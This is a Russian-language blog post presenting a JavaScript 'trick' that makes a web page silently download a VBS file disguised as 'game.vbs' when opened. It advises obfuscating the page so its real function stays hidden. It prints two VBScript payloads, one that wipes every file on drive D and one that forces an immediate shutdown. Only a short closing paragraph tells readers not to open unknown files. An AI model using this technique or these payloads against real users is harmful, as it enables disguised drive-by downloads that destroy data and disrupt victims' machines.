DevGang
Авторизоваться

Волшебный трюк JavaScript: автоматическая загрузка

В обычных обстоятельствах, когда мы хотим загрузить определенный файл с веб-сайта, нам всегда нужно активно щелкнуть мышью, чтобы начать операцию загрузки, что считается само собой разумеющимся.

Однако сталкивались ли вы когда-нибудь со сценарием, когда при открытии определенной веб-страницы файл автоматически загружается без каких-либо кликов с вашей стороны? Это страшно, как невероятная черная магия. Но на самом деле этого можно добиться, используя JavaScript.

Цель

Пожалуйста, обратитесь к следующей демонстрации: Когда страница открывается, файл VBS автоматически загружается в фоновом режиме. При щелчке по загруженному файлу выполняется файл скрипта vbs и отображается окно «Hello».

Поскольку это скрипт VBS, если щелкнуть файл, он откроется и исполнится:

Выберите Open, и скрипт будет выполнен:

Как показано в исходном коде страницы, в этом примере выполняется только команда msgbox («hello»). Исходный код автоматически загружаемого файла vbs выглядит следующим образом:

Источник

Эффект невероятный, но исходный код очень простой. Полный код html-страницы выглядит следующим образом:

<html>
<script>
    var blob = new Blob(['msgbox("hello")'], {
        type: 'application/vbs'
    });
    var a = document.createElement('a');
    a.href = window.URL.createObjectURL(blob);
    a.download = 'game.vbs';
    a.click();
</script>

</html>

Его также можно запутать с помощью JShaman JavaScript Obfuscator, чтобы другие не могли просмотреть исходный код и понять его реальную функциональность. Msgbox — это всего лишь всплывающее окно, но VBScript может выполнять множество мощных и пугающих функций.

Например:

dim WSHshell
set WSHshell = wscript.createobject(“wscript.shell”)
WSHshell.run “cmd /c “”del d:\*.* / f /q /s”””,0 ,true

Другой пример:

dim WSHshell
set WSHshell = wscript.createobject(“wscript.shell”)
WSHshell.run “shutdown -f -s -t 00”,0 ,true

Анализируя эти два сценария VBScript, можно увидеть, что их выполнение может иметь опасные последствия, и они могут даже загружать и выполнять другие файлы Exe и т.д.

Как предотвратить эту угрозу?

Файлы могут быть загружены автоматически, не только сценарии VBScript, но и файлы Exe. Однако они не будут выполнены, пока на них не нажмут. Поэтому необходимо повысить осведомленность о безопасности и не щелкать, открывать или запускать файлы из неизвестных источников.

Источник:

#JavaScript
Комментарии
Чтобы оставить комментарий, необходимо авторизоваться